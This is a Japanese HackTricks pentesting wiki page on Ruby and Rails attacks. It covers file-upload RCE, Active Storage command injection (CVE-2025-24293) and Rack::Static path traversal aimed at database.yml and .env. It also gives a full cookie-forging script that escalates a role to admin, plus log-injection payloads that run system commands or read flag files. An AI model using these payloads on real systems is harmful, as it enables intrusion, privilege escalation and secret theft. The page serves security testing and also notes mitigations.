Ruby トリック
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ファイルアップロードによる RCE
この記事で説明されているように、config/initializers/ のような機密ディレクトリに .rb ファイルをアップロードすると、Ruby on Rails アプリケーションでリモートコード実行 (RCE) に繋がる可能性があります。
ヒント:
- アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能だと危険です(例:
config/initializers/が典型例)。任意のファイルアップロードがconfig/配下のどこかに配置され、後で評価/require されるようなら、起動時に RCE を得られる可能性があります。 - Rails が起動時に読み込むような場所にユーザ制御のファイルをコンテナイメージへコピーする dev/staging ビルドを探してください。
Active Storage image transformation → command execution (CVE-2025-24293)
Active Storage を image_processing + mini_magick と共に使用し、信頼できないパラメータを画像変換メソッドに渡す場合、Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたためコマンドインジェクションを許す可能性がありました。
- 脆弱なパターンの例:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
ここで params[:t] および/または params[:v] は攻撃者に制御されます。
-
テスト時に試すこと
-
variant/processing オプション、変換名、または任意の ImageMagick 引数を受け取るエンドポイントを特定する。
-
params[:t]とparams[:v]をファズして、疑わしいエラーや実行の副作用を観察する。メソッド名に影響を与えられる、または MiniMagick に到達する生の引数を渡せる場合、画像処理ホスト上でコード実行を得られる可能性があります。 -
生成された variants に対して読み取り専用しか持たない場合は、巧妙に作成した ImageMagick 操作を使ってブラインドでの情報持ち出しを試みる。
-
修正/検出
-
Active Storage +
image_processing+mini_magickを使用しており、かつユーザ制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら、悪用可能と考えてください。アップグレードを推奨し、メソッド/パラメータの厳格な許可リストと強化された ImageMagick ポリシーを適用してください。
Rack::Static LFI / path traversal (CVE-2025-27610)
ターゲットスタックが直接またはフレームワーク経由で Rack ミドルウェアを使用している場合、rack の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、:root が未設定/誤設定のときに Rack::Static 経由で Local File Inclusion が可能です。PATH_INFO にエンコードされたトラバーサルを含めることで、プロセスの作業ディレクトリや予期しないルート配下のファイルが露出することがあります。
config.ruやミドルウェアスタックでRack::Staticをマウントしているアプリを探してください。静的パスに対してエンコードされたトラバーサルを試します。例えば:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
設定された urls: に合わせてプレフィックスを調整してください。アプリがファイル内容で応答する場合、解決された :root 配下の任意のものに対する LFI を得ている可能性が高いです。
- 緩和策: Rack をアップグレードし、
:rootがパブリックファイルのディレクトリのみを指し、明示的に設定されていることを確認してください。
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails は secret_key_base から派生した鍵を使用してクッキーを暗号化および署名します。もしその値が leaks(例: リポジトリ、ログ、または誤設定された資格情報にある場合)、通常クッキーを復号、改変、再暗号化できます。アプリがクッキーに roles、user IDs、あるいは feature flags を保存している場合、これはしばしば authz bypass に繋がります。
現代のクッキー(AES-256-GCM、最近の Rails のデフォルト)を復号し再暗号化するための最小限の Ruby:
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notes:
- 古いアプリは AES-256-CBC と
encrypted cookie/signed encrypted cookieのようなソルト、または JSON/Marshal シリアライザを使用していることがあります。ソルト、cipher、serializer を適宜調整してください。 - 侵害や評価の際は、既存のクッキーを無効化するために
secret_key_baseをローテートしてください。
See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
アプリ(多くは単純な Rack/Sinatra/Rails エンドポイント)が両方を満たす場合:
- ユーザー制御の文字列をそのままログに記録し、
- その後(
Pathname#cleanpathを経て)同じ文字列から派生したパスのファイルをloadする、
ログを汚染してからアプリにログファイルを load させることで、しばしば remote code execution を達成できます。主な要素:
- Ruby の
loadはファイル拡張子に関係なく対象ファイルの内容を Ruby として評価します。内容が Ruby としてパースできる任意の読み取り可能なテキストファイルは実行されます。 Pathname#cleanpathはファイルシステムにアクセスせずに.と..セグメントを畳み込むため、path smuggling を可能にします。攻撃者制御の不要な文字列をログ用に先頭に追加しても、正規化されたパスは依然として意図した実行対象のファイルを指します(例:../logs/error.log)。
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
なぜログに有効なRubyが含まれる可能性があるのか
Logger はプレフィックス行を次のように書きます:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Rubyでは、#はコメントの始まりで、9/2/2025は単なる算術です。 有効なRubyコードを注入するには、次を行う必要があります:
- ペイロードを新しい行で開始し、INFO行の
#でコメントアウトされないようにする。先頭に改行を送る(\nまたは%0A)。 - INFO行で導入されたぶら下がった
[を閉じる。一般的なトリックは]で始め、任意でパーサを満足させるために][0]=1を使うことです。 - その後、任意のRubyコードを配置する(例:
system(...))。
Example of what will end up in the log after one request with a crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
コードをログに書き込み、かつログパスに解決される単一の文字列をすり抜けさせる
攻撃者が制御する1つの文字列が欲しい。条件は次の通り:
- 生のままログに記録されたときに、我々のRubyペイロードを含んでいること、
Pathname.new(<input>).cleanpathに渡されたときに../logs/error.logに解決され、その後のloadが毒されたログファイルを実行すること。
Pathname#cleanpath はスキームを無視し、トラバーサル要素を縮約するため、次のように動作する:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
://の前の#は、ログが実行されるときにRubyが末尾を無視することを保証し、cleanpathはそれでもサフィックスを../logs/error.logに短縮します。- 先頭の改行はINFO行から抜け出し、
]はぶら下がった角括弧を閉じ、][0]=1がパーサを満たします。
エンドツーエンドのエクスプロイト
- バックアップスクリプト名として次の文字列を送信します(必要に応じて最初の改行を
%0AでURLエンコードしてください):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- アプリは生の文字列を
logs/error.logに記録します。 - アプリは
cleanpathを計算し、それが../logs/error.logに解決されてloadを呼び出します。 - Rubyはログに注入したコードを実行します。
CTFのような環境でファイルをexfiltrateするには:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (最初の文字は改行です):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
参考資料
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks